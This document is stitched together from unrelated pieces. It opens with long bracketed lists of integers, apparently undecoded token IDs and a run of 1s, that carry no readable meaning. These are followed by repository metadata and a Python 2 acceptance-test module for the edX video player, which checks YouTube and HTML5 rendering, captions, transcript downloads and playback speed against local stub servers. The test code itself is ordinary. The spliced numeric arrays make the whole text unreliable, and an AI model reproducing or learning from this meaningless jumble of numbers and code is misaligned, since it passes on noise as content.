12968, 14, 985, 14, 51, 614, 14, 37, 1644, 14, 5713, 14, 14057, 14, 985, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 37, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 13, 1644, 446, 4932, 27255, 2812, 1362, 327, 12968, 14, 985, 14, 51, 614, 14, 37, 996, 14, 37, 1644, 1362, 1449, 1362, 7167, 17304, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 5547, 3777, 327, 12968, 63, 985, 436, 9432, 1362, 14749, 342, 31, 83, 2229, 48, 28, 12605, 63, 1507, 3072, 68, 11, 2788, 14, 485, 13, 3672, 3322, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 1545, 63, 1507, 3072, 68, 27860, 22119, 9668, 327, 662, 996, 436, 9432, 1362, 334, 779, 14, 485, 13, 3672, 69, 28447, 9, 17388, 327, 25833, 325, 22551, 1495, 1362, 7558, 48, 28, 2911, 63, 1545, 63, 1507, 30, 26313, 8, 23514, 92, 18386, 92, 21853, 2788, 1038, 27147, 68, 27860, 22119, 3342, 257, 327, 4722, 662, 1644, 15, 6839, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 545, 86, 297, 1362, 327, 12968, 63, 985, 14, 17, 88, 996, 14, 2980, 63, 19436, 63, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 413, 88, 996, 446, 4932, 27255, 2812, 1362, 327, 12968, 63, 985, 14, 17, 88, 996, 88, 1644, 88, 966, 14, 2980, 63, 19436, 63, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 413, 88, 996, 13, 1644, 13, 966, 446, 4932, 27255, 2812, 1362, 1449, 1362, 7167, 17304, 48, 28, 5602 ]
[ 6529, 26, 653, 530, 644, 79, 276, 69, 665, 12165, 32, 28070, 69, 848, 14, 696, 30, 199, 3, 2851, 26, 1455, 921, 600, 14, 3098, 14, 957, 15, 80, 15, 32370, 15283, 15, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 28964, 31066, 14, 199, 3, 199, 3, 28964, 31066, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 28964, 31066, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 28964, 31066, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 1006, 5163, 397, 787, 1930, 27845, 199, 199, 3302, 63, 29283, 275, 359, 272, 661, 6807, 63, 8755, 297, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 14, 51, 614, 37, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 446, 428, 614, 37, 1644, 446, 428, 614, 37, 966, 446, 27255, 2812, 1362, 1449, 1362, 7167, 2229, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 4483, 327, 12968, 63, 985, 436, 9432, 1362, 308, 2229, 48, 28, 12605, 63, 1507, 3072, 68, 11, 2788, 14, 485, 13, 3672, 463, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 1545, 63, 1507, 3072, 68, 8771, 14960, 327, 662, 996, 436, 9432, 1362, 7287, 14, 485, 20253, 83, 2229, 48, 29, 12605, 63, 1507, 2788, 14, 485, 13, 3672, 3777, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 2911, 63, 1545, 63, 1507, 3072, 68, 11, 430, 11, 8540, 327, 662, 1644, 15, 6839, 436, 9432, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 545, 86, 63, 8755, 297, 1362, 327, 12968, 14, 985, 14, 17, 88, 996, 14, 17, 88, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 413, 88, 996, 446, 413, 88, 1644, 446, 413, 88, 966, 446, 27255, 2812, 1362, 1449, 1362, 7167, 2229, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 4483, 327, 12968, 63, 985, 436, 9432, 1362, 7558, 48, 28, 12605, 63, 1507, 3072, 68, 8771, 88, 12788, 327, 413, 88, 1362, 7558, 48, 28, 1545, 63, 1507, 3072, 68, 8771, 17907, 327, 12497, 436, 9432, 1362, 7287, 14, 485, 20253, 2229, 48, 29, 12605, 63, 1507, 9, 88, 8540, 327, 413, 88, 1362, 7558, 48, 28, 2911, 63, 1545, 63, 1507, 3072, 68, 11, 430, 11, 9326, 327, 30569, 15, 6839, 436, 9432, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 6807, 297, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 446, 4932, 27255, 2812, 1362, 327, 12968, 14, 985, 14, 51, 614, 14, 37, 1644, 14, 5713, 14, 14057, 14, 985, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 37, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 13, 1644, 446, 4932, 27255, 2812, 1362, 327, 12968, 14, 985, 14, 51, 614, 14, 37, 996, 14, 37, 1644, 1362, 1449, 1362, 7167, 17304, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 5547, 3777, 327, 12968, 63, 985, 436, 9432, 1362, 14749, 342, 31, 83, 2229, 48, 28, 12605, 63, 1507, 3072, 68, 11, 2788, 14, 485, 13, 3672, 3322, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 1545, 63, 1507, 3072, 68, 27860, 22119, 9668, 327, 662, 996, 436, 9432, 1362, 334, 779, 14, 485, 13, 3672, 69, 28447, 9, 17388, 327, 25833, 325, 22551, 1495, 1362, 7558, 48, 28, 2911, 63, 1545, 63, 1507, 30, 26313, 8, 23514, 92, 18386, 92, 21853, 2788, 1038, 27147, 68, 27860, 22119, 3342, 257, 327, 4722, 662, 1644, 15, 6839, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 545, 86, 297, 1362, 327, 12968, 63, 985, 14, 17, 88, 996, 14, 2980, 63, 19436, 63, 28411, 13, 2448, 1362, 327, 12968, 2812, 446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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
huchoi/edx-platform
common/test/acceptance/tests/video/test_video_module.py
4
38380
# -*- coding: utf-8 -*- """ Acceptance tests for Video. """ import json from unittest import skipIf, skip import requests from box.test.flaky import flaky from ..helpers import UniqueCourseTest, is_youtube_available from ...pages.lms.video.video import VideoPage from ...pages.lms.tab_nav import TabNavPage from ...pages.lms.course_nav import CourseNavPage from ...pages.lms.auto_auth import AutoAuthPage from ...pages.lms.course_info import CourseInfoPage from ...fixtures.course import CourseFixture, XBlockFixtureDesc from ..helpers import skip_if_browser VIDEO_SOURCE_PORT = 8777 YOUTUBE_STUB_PORT = 9080 YOUTUBE_STUB_URL = 'http://127.0.0.1:{}/'.format(YOUTUBE_STUB_PORT) HTML5_SOURCES = [ 'http://localhost:{0}/gizmo.mp4'.format(VIDEO_SOURCE_PORT), 'http://localhost:{0}/gizmo.webm'.format(VIDEO_SOURCE_PORT), 'http://localhost:{0}/gizmo.ogv'.format(VIDEO_SOURCE_PORT), ] HTML5_SOURCES_INCORRECT = [ 'http://localhost:{0}/gizmo.mp99'.format(VIDEO_SOURCE_PORT), ] class YouTubeConfigError(Exception): """ Error occurred while configuring YouTube Stub Server. """ pass @flaky @skipIf(is_youtube_available() is False, 'YouTube is not available!') class VideoBaseTest(UniqueCourseTest): """ Base class for tests of the Video Player Sets up the course and provides helper functions for the Video tests. """ def setUp(self): """ Initialization of pages and course fixture for video tests """ super(VideoBaseTest, self).setUp() self.video = VideoPage(self.browser) self.tab_nav = TabNavPage(self.browser) self.course_nav = CourseNavPage(self.browser) self.course_info_page = CourseInfoPage(self.browser, self.course_id) self.course_fixture = CourseFixture( self.course_info['org'], self.course_info['number'], self.course_info['run'], self.course_info['display_name'] ) self.metadata = None self.assets = [] self.verticals = None self.youtube_configuration = {} # reset youtube stub server self.addCleanup(self._reset_youtube_stub_server) def navigate_to_video(self): """ Prepare the course and get to the video and render it """ self._install_course_fixture() self._navigate_to_courseware_video_and_render() def navigate_to_video_no_render(self): """ Prepare the course and get to the video unit however do not wait for it to render, because the has been an error. """ self._install_course_fixture() self._navigate_to_courseware_video_no_render() def _install_course_fixture(self): """ Install the course fixture that has been defined """ if self.assets: self.course_fixture.add_asset(self.assets) chapter_sequential = XBlockFixtureDesc('sequential', 'Test Section') chapter_sequential.add_children(*self._add_course_verticals()) chapter = XBlockFixtureDesc('chapter', 'Test Chapter').add_children(chapter_sequential) self.course_fixture.add_children(chapter) self.course_fixture.install() if len(self.youtube_configuration) > 0: self._configure_youtube_stub_server(self.youtube_configuration) def _add_course_verticals(self): """ Create XBlockFixtureDesc verticals :return: a list of XBlockFixtureDesc """ xblock_verticals = [] _verticals = self.verticals # Video tests require at least one vertical with a single video. if not _verticals: _verticals = [[{'display_name': 'Video', 'metadata': self.metadata}]] for vertical_index, vertical in enumerate(_verticals): xblock_verticals.append(self._create_single_vertical(vertical, vertical_index)) return xblock_verticals def _create_single_vertical(self, vertical, vertical_index): """ Create a single course vertical of type XBlockFixtureDesc with category `vertical`. A single course vertical can contain single or multiple video modules. :param vertical: vertical data list :param vertical_index: index for the vertical display name :return: XBlockFixtureDesc """ xblock_course_vertical = XBlockFixtureDesc('vertical', 'Test Vertical-{0}'.format(vertical_index)) for video in vertical: xblock_course_vertical.add_children( XBlockFixtureDesc('video', video['display_name'], metadata=video.get('metadata'))) return xblock_course_vertical def _navigate_to_courseware_video(self): """ Register for the course and navigate to the video unit """ AutoAuthPage(self.browser, course_id=self.course_id).visit() self.course_info_page.visit() self.tab_nav.go_to_tab('Courseware') def _navigate_to_courseware_video_and_render(self): """ Wait for the video player to render """ self._navigate_to_courseware_video() self.video.wait_for_video_player_render() def _navigate_to_courseware_video_no_render(self): """ Wait for the video Xmodule but not for rendering """ self._navigate_to_courseware_video() self.video.wait_for_video_class() def _configure_youtube_stub_server(self, config): """ Allow callers to configure the stub server using the /set_config URL. :param config: Configuration dictionary. The request should have PUT data, such that: Each PUT parameter is the configuration key. Each PUT value is a JSON-encoded string value for the configuration. :raise YouTubeConfigError: """ youtube_stub_config_url = YOUTUBE_STUB_URL + 'set_config' config_data = {param: json.dumps(value) for param, value in config.items()} response = requests.put(youtube_stub_config_url, data=config_data) if not response.ok: raise YouTubeConfigError( 'YouTube Server Configuration Failed. URL {0}, Configuration Data: {1}, Status was {2}'.format( youtube_stub_config_url, config, response.status_code)) def _reset_youtube_stub_server(self): """ Reset YouTube Stub Server Configurations using the /del_config URL. :raise YouTubeConfigError: """ youtube_stub_config_url = YOUTUBE_STUB_URL + 'del_config' response = requests.delete(youtube_stub_config_url) if not response.ok: raise YouTubeConfigError( 'YouTube Server Configuration Failed. URL: {0} Status was {1}'.format( youtube_stub_config_url, response.status_code)) def metadata_for_mode(self, player_mode, additional_data=None): """ Create a dictionary for video player configuration according to `player_mode` :param player_mode (str): Video player mode :param additional_data (dict): Optional additional metadata. :return: dict """ metadata = {} if player_mode == 'html5': metadata.update({ 'youtube_id_1_0': '', 'youtube_id_0_75': '', 'youtube_id_1_25': '', 'youtube_id_1_5': '', 'html5_sources': HTML5_SOURCES }) if player_mode == 'youtube_html5': metadata.update({ 'html5_sources': HTML5_SOURCES, }) if player_mode == 'youtube_html5_unsupported_video': metadata.update({ 'html5_sources': HTML5_SOURCES_INCORRECT }) if player_mode == 'html5_unsupported_video': metadata.update({ 'youtube_id_1_0': '', 'youtube_id_0_75': '', 'youtube_id_1_25': '', 'youtube_id_1_5': '', 'html5_sources': HTML5_SOURCES_INCORRECT }) if additional_data: metadata.update(additional_data) return metadata def go_to_sequential_position(self, position): """ Navigate to sequential specified by `video_display_name` """ self.course_nav.go_to_sequential_position(position) self.video.wait_for_video_player_render() class YouTubeVideoTest(VideoBaseTest): """ Test YouTube Video Player """ def setUp(self): super(YouTubeVideoTest, self).setUp() def test_youtube_video_rendering_wo_html5_sources(self): """ Scenario: Video component is rendered in the LMS in Youtube mode without HTML5 sources Given the course has a Video component in "Youtube" mode Then the video has rendered in "Youtube" mode """ self.navigate_to_video() # Verify that video has rendered in "Youtube" mode self.assertTrue(self.video.is_video_rendered('youtube')) def test_cc_button_wo_english_transcript(self): """ Scenario: CC button works correctly w/o english transcript in Youtube mode Given the course has a Video component in "Youtube" mode And I have defined a non-english transcript for the video And I have uploaded a non-english transcript file to assets Then I see the correct text in the captions """ data = {'transcripts': {'zh': 'chinese_transcripts.srt'}} self.metadata = self.metadata_for_mode('youtube', data) self.assets.append('chinese_transcripts.srt') self.navigate_to_video() self.video.show_captions() # Verify that we see "好 各位同学" text in the captions unicode_text = "好 各位同学".decode('utf-8') self.assertIn(unicode_text, self.video.captions_text()) def test_cc_button_transcripts_and_sub_fields_empty(self): """ Scenario: CC button works correctly if transcripts and sub fields are empty, but transcript file exists in assets (Youtube mode of Video component) Given the course has a Video component in "Youtube" mode And I have uploaded a .srt.sjson file to assets Then I see the correct english text in the captions """ self._install_course_fixture() self.course_fixture.add_asset(['subs_OEoXaMPEzfM.srt.sjson']) self.course_fixture._upload_assets() self._navigate_to_courseware_video_and_render() self.video.show_captions() # Verify that we see "Hi, welcome to Edx." text in the captions self.assertIn('Hi, welcome to Edx.', self.video.captions_text()) def test_cc_button_hidden_no_translations(self): """ Scenario: CC button is hidden if no translations Given the course has a Video component in "Youtube" mode Then the "CC" button is hidden """ self.navigate_to_video() self.assertFalse(self.video.is_button_shown('CC')) def test_fullscreen_video_alignment_with_transcript_hidden(self): """ Scenario: Video is aligned with transcript hidden in fullscreen mode Given the course has a Video component in "Youtube" mode When I view the video at fullscreen Then the video with the transcript hidden is aligned correctly """ self.navigate_to_video() # click video button "fullscreen" self.video.click_player_button('fullscreen') # check if video aligned correctly without enabled transcript self.assertTrue(self.video.is_aligned(False)) def test_download_button_wo_english_transcript(self): """ Scenario: Download button works correctly w/o english transcript in YouTube mode Given the course has a Video component in "Youtube" mode And I have defined a downloadable non-english transcript for the video And I have uploaded a non-english transcript file to assets Then I can download the transcript in "srt" format """ data = {'download_track': True, 'transcripts': {'zh': 'chinese_transcripts.srt'}} self.metadata = self.metadata_for_mode('youtube', additional_data=data) self.assets.append('chinese_transcripts.srt') # go to video self.navigate_to_video() # check if we can download transcript in "srt" format that has text "好 各位同学" unicode_text = "好 各位同学".decode('utf-8') self.assertTrue(self.video.downloaded_transcript_contains_text('srt', unicode_text)) def test_download_button_two_transcript_languages(self): """ Scenario: Download button works correctly for multiple transcript languages Given the course has a Video component in "Youtube" mode And I have defined a downloadable non-english transcript for the video And I have defined english subtitles for the video Then I see the correct english text in the captions And the english transcript downloads correctly And I see the correct non-english text in the captions And the non-english transcript downloads correctly """ self.assets.extend(['chinese_transcripts.srt', 'subs_OEoXaMPEzfM.srt.sjson']) data = {'download_track': True, 'transcripts': {'zh': 'chinese_transcripts.srt'}, 'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('youtube', additional_data=data) # go to video self.navigate_to_video() # check if "Hi, welcome to Edx." text in the captions self.assertIn('Hi, welcome to Edx.', self.video.captions_text()) # check if we can download transcript in "srt" format that has text "Hi, welcome to Edx." self.assertTrue(self.video.downloaded_transcript_contains_text('srt', 'Hi, welcome to Edx.')) # select language with code "zh" self.assertTrue(self.video.select_language('zh')) # check if we see "好 各位同学" text in the captions unicode_text = "好 各位同学".decode('utf-8') self.assertIn(unicode_text, self.video.captions_text()) # check if we can download transcript in "srt" format that has text "好 各位同学" unicode_text = "好 各位同学".decode('utf-8') self.assertTrue(self.video.downloaded_transcript_contains_text('srt', unicode_text)) def test_fullscreen_video_alignment_on_transcript_toggle(self): """ Scenario: Video is aligned correctly on transcript toggle in fullscreen mode Given the course has a Video component in "Youtube" mode And I have uploaded a .srt.sjson file to assets And I have defined subtitles for the video When I view the video at fullscreen Then the video with the transcript enabled is aligned correctly And the video with the transcript hidden is aligned correctly """ self.assets.append('subs_OEoXaMPEzfM.srt.sjson') data = {'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('youtube', additional_data=data) # go to video self.navigate_to_video() # make sure captions are opened self.video.show_captions() # click video button "fullscreen" self.video.click_player_button('fullscreen') # check if video aligned correctly with enabled transcript self.assertTrue(self.video.is_aligned(True)) # click video button "CC" self.video.click_player_button('CC') # check if video aligned correctly without enabled transcript self.assertTrue(self.video.is_aligned(False)) def test_video_rendering_with_default_response_time(self): """ Scenario: Video is rendered in Youtube mode when the YouTube Server responds quickly Given the YouTube server response time less than 1.5 seconds And the course has a Video component in "Youtube_HTML5" mode Then the video has rendered in "Youtube" mode """ # configure youtube server self.youtube_configuration['time_to_response'] = 0.4 self.metadata = self.metadata_for_mode('youtube_html5') self.navigate_to_video() self.assertTrue(self.video.is_video_rendered('youtube')) def test_video_rendering_wo_default_response_time(self): """ Scenario: Video is rendered in HTML5 when the YouTube Server responds slowly Given the YouTube server response time is greater than 1.5 seconds And the course has a Video component in "Youtube_HTML5" mode Then the video has rendered in "HTML5" mode """ # configure youtube server self.youtube_configuration['time_to_response'] = 2.0 self.metadata = self.metadata_for_mode('youtube_html5') self.navigate_to_video() self.assertTrue(self.video.is_video_rendered('html5')) def test_video_with_youtube_blocked(self): """ Scenario: Video is rendered in HTML5 mode when the YouTube API is blocked Given the YouTube server response time is greater than 1.5 seconds And the YouTube API is blocked And the course has a Video component in "Youtube_HTML5" mode Then the video has rendered in "HTML5" mode """ # configure youtube server self.youtube_configuration.update({ 'time_to_response': 2.0, 'youtube_api_blocked': True, }) self.metadata = self.metadata_for_mode('youtube_html5') self.navigate_to_video() self.assertTrue(self.video.is_video_rendered('html5')) def test_download_transcript_button_works_correctly(self): """ Scenario: Download Transcript button works correctly Given the course has Video components A and B in "Youtube" mode And Video component C in "HTML5" mode And I have defined downloadable transcripts for the videos Then I can download a transcript for Video A in "srt" format And I can download a transcript for Video A in "txt" format And I can download a transcript for Video B in "txt" format And the Download Transcript menu does not exist for Video C """ data_a = {'sub': 'OEoXaMPEzfM', 'download_track': True} youtube_a_metadata = self.metadata_for_mode('youtube', additional_data=data_a) self.assets.append('subs_OEoXaMPEzfM.srt.sjson') data_b = {'youtube_id_1_0': 'b7xgknqkQk8', 'sub': 'b7xgknqkQk8', 'download_track': True} youtube_b_metadata = self.metadata_for_mode('youtube', additional_data=data_b) self.assets.append('subs_b7xgknqkQk8.srt.sjson') data_c = {'track': 'http://example.org/', 'download_track': True} html5_c_metadata = self.metadata_for_mode('html5', additional_data=data_c) self.verticals = [ [{'display_name': 'A', 'metadata': youtube_a_metadata}], [{'display_name': 'B', 'metadata': youtube_b_metadata}], [{'display_name': 'C', 'metadata': html5_c_metadata}] ] # open the section with videos (open video "A") self.navigate_to_video() # check if we can download transcript in "srt" format that has text "00:00:00,270" self.assertTrue(self.video.downloaded_transcript_contains_text('srt', '00:00:00,270')) # select the transcript format "txt" self.assertTrue(self.video.select_transcript_format('txt')) # check if we can download transcript in "txt" format that has text "Hi, welcome to Edx." self.assertTrue(self.video.downloaded_transcript_contains_text('txt', 'Hi, welcome to Edx.')) # open video "B" self.course_nav.go_to_sequential('B') # check if we can download transcript in "txt" format that has text "Equal transcripts" self.assertTrue(self.video.downloaded_transcript_contains_text('txt', 'Equal transcripts')) # open video "C" self.course_nav.go_to_sequential('C') # menu "download_transcript" doesn't exist self.assertFalse(self.video.is_menu_exist('download_transcript')) def _verify_caption_text(self, text): self.video._wait_for( lambda: (text in self.video.captions_text()), u'Captions contain "{}" text'.format(text), timeout=5 ) def test_video_language_menu_working(self): """ Scenario: Language menu works correctly in Video component Given the course has a Video component in "Youtube" mode And I have defined multiple language transcripts for the videos And I make sure captions are closed And I see video menu "language" with correct items And I select language with code "zh" Then I see "好 各位同学" text in the captions And I select language with code "en" Then I see "Hi, welcome to Edx." text in the captions """ self.assets.extend(['chinese_transcripts.srt', 'subs_OEoXaMPEzfM.srt.sjson']) data = {'transcripts': {"zh": "chinese_transcripts.srt"}, 'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('youtube', additional_data=data) # go to video self.navigate_to_video() self.video.hide_captions() correct_languages = {'en': 'English', 'zh': 'Chinese'} self.assertEqual(self.video.caption_languages(), correct_languages) self.video.select_language('zh') unicode_text = "好 各位同学".decode('utf-8') self._verify_caption_text(unicode_text) self.video.select_language('en') self._verify_caption_text('Hi, welcome to Edx.') def test_multiple_videos_in_sequentials_load_and_work(self): """ Scenario: Multiple videos in sequentials all load and work, switching between sequentials Given it has videos "A,B" in "Youtube" mode in position "1" of sequential And videos "E,F" in "Youtube" mode in position "2" of sequential """ self.verticals = [ [{'display_name': 'A'}, {'display_name': 'B'}], [{'display_name': 'C'}, {'display_name': 'D'}] ] tab1_video_names = ['A', 'B'] tab2_video_names = ['C', 'D'] def execute_video_steps(video_names): """ Execute video steps """ for video_name in video_names: self.video.click_player_button('play', video_name) self.assertIn(self.video.state(video_name), ['playing', 'buffering']) self.video.click_player_button('pause', video_name) # go to video self.navigate_to_video() execute_video_steps(tab1_video_names) # go to second sequential position self.go_to_sequential_position(2) execute_video_steps(tab2_video_names) # go back to first sequential position # we are again playing tab 1 videos to ensure that switching didn't broke some video functionality. self.go_to_sequential_position(1) execute_video_steps(tab1_video_names) def test_video_component_stores_speed_correctly_for_multiple_videos(self): """ Scenario: Video component stores speed correctly when each video is in separate sequential Given I have a video "A" in "Youtube" mode in position "1" of sequential And a video "B" in "Youtube" mode in position "2" of sequential And a video "C" in "HTML5" mode in position "3" of sequential """ self.verticals = [ [{'display_name': 'A'}], [{'display_name': 'B'}], [{'display_name': 'C', 'metadata': self.metadata_for_mode('html5')}] ] self.navigate_to_video() # select the "2.0" speed on video "A" self.course_nav.go_to_sequential('A') self.video.set_speed('2.0') # select the "0.50" speed on video "B" self.course_nav.go_to_sequential('B') self.video.set_speed('0.50') # open video "C" self.course_nav.go_to_sequential('C') # check if video "C" should start playing at speed "0.75" self.assertEqual(self.video.get_speed(), '0.75x') # open video "A" self.course_nav.go_to_sequential('A') # check if video "A" should start playing at speed "2.0" self.assertEqual(self.video.get_speed(), '2.0x') # reload the page self.video.reload_page() # open video "A" self.course_nav.go_to_sequential('A') # check if video "A" should start playing at speed "2.0" self.assertEqual(self.video.get_speed(), '2.0x') # select the "1.0" speed on video "A" self.video.set_speed('1.0') # open video "B" self.course_nav.go_to_sequential('B') # check if video "B" should start playing at speed "0.50" self.assertEqual(self.video.get_speed(), '0.50x') # open video "C" self.course_nav.go_to_sequential('C') # check if video "C" should start playing at speed "1.0" self.assertEqual(self.video.get_speed(), '1.0x') def test_video_has_correct_transcript(self): """ Scenario: Youtube video has correct transcript if fields for other speeds are filled Given it has a video in "Youtube" mode And I have uploaded multiple transcripts And I make sure captions are opened Then I see "Hi, welcome to Edx." text in the captions And I select the "1.50" speed And I reload the page with video Then I see "Hi, welcome to Edx." text in the captions And I see duration "1:56" """ self.assets.extend(['subs_OEoXaMPEzfM.srt.sjson', 'subs_b7xgknqkQk8.srt.sjson']) data = {'sub': 'OEoXaMPEzfM', 'youtube_id_1_5': 'b7xgknqkQk8'} self.metadata = self.metadata_for_mode('youtube', additional_data=data) # go to video self.navigate_to_video() self.video.show_captions() self.assertIn('Hi, welcome to Edx.', self.video.captions_text()) self.video.set_speed('1.50') self.video.reload_page() self.assertIn('Hi, welcome to Edx.', self.video.captions_text()) self.assertTrue(self.video.duration(), '1.56') def test_video_position_stored_correctly_wo_seek(self): """ Scenario: Video component stores position correctly when page is reloaded Given the course has a Video component in "Youtube" mode Then the video has rendered in "Youtube" mode And I click video button "play"" Then I wait until video reaches at position "0.05" And I click video button "pause" And I reload the page with video And I click video button "play"" And I click video button "pause" Then video slider should be Equal or Greater than "0:05" """ self.navigate_to_video() self.video.click_player_button('play') self.video.wait_for_position('0:05') self.video.click_player_button('pause') self.video.reload_page() self.video.click_player_button('play') self.video.click_player_button('pause') self.assertGreaterEqual(self.video.seconds(), 5) @skip("Intermittently fails 03 June 2014") def test_video_position_stored_correctly_with_seek(self): """ Scenario: Video component stores position correctly when page is reloaded Given the course has a Video component in "Youtube" mode Then the video has rendered in "Youtube" mode And I click video button "play"" And I click video button "pause" Then I seek video to "0:10" position And I click video button "play"" And I click video button "pause" And I reload the page with video Then video slider should be Equal or Greater than "0:10" """ self.navigate_to_video() self.video.click_player_button('play') self.video.seek('0:10') self.video.click_player_button('pause') self.video.reload_page() self.video.click_player_button('play') self.video.click_player_button('pause') self.assertGreaterEqual(self.video.seconds(), 10) class YouTubeHtml5VideoTest(VideoBaseTest): """ Test YouTube HTML5 Video Player """ def setUp(self): super(YouTubeHtml5VideoTest, self).setUp() def test_youtube_video_rendering_with_unsupported_sources(self): """ Scenario: Video component is rendered in the LMS in Youtube mode with HTML5 sources that doesn't supported by browser Given the course has a Video component in "Youtube_HTML5_Unsupported_Video" mode Then the video has rendered in "Youtube" mode """ self.metadata = self.metadata_for_mode('youtube_html5_unsupported_video') self.navigate_to_video() # Verify that the video has rendered in "Youtube" mode self.assertTrue(self.video.is_video_rendered('youtube')) class Html5VideoTest(VideoBaseTest): """ Test HTML5 Video Player """ def setUp(self): super(Html5VideoTest, self).setUp() def test_autoplay_disabled_for_video_component(self): """ Scenario: Autoplay is disabled by default for a Video component Given the course has a Video component in "HTML5" mode When I view the Video component Then it does not have autoplay enabled """ self.metadata = self.metadata_for_mode('html5') self.navigate_to_video() # Verify that the video has autoplay mode disabled self.assertFalse(self.video.is_autoplay_enabled()) def test_html5_video_rendering_with_unsupported_sources(self): """ Scenario: LMS displays an error message for HTML5 sources that are not supported by browser Given the course has a Video component in "HTML5_Unsupported_Video" mode When I view the Video component Then and error message is shown And the error message has the correct text """ self.metadata = self.metadata_for_mode('html5_unsupported_video') self.navigate_to_video_no_render() # Verify that error message is shown self.assertTrue(self.video.is_error_message_shown()) # Verify that error message has correct text correct_error_message_text = 'No playable video sources found.' self.assertIn(correct_error_message_text, self.video.error_message_text()) # Verify that spinner is not shown self.assertFalse(self.video.is_spinner_shown()) def test_download_button_wo_english_transcript(self): """ Scenario: Download button works correctly w/o english transcript in HTML5 mode Given the course has a Video component in "HTML5" mode And I have defined a downloadable non-english transcript for the video And I have uploaded a non-english transcript file to assets Then I see the correct non-english text in the captions And the non-english transcript downloads correctly """ data = {'download_track': True, 'transcripts': {'zh': 'chinese_transcripts.srt'}} self.metadata = self.metadata_for_mode('html5', additional_data=data) self.assets.append('chinese_transcripts.srt') # go to video self.navigate_to_video() # check if we see "好 各位同学" text in the captions unicode_text = "好 各位同学".decode('utf-8') self.assertIn(unicode_text, self.video.captions_text()) # check if we can download transcript in "srt" format that 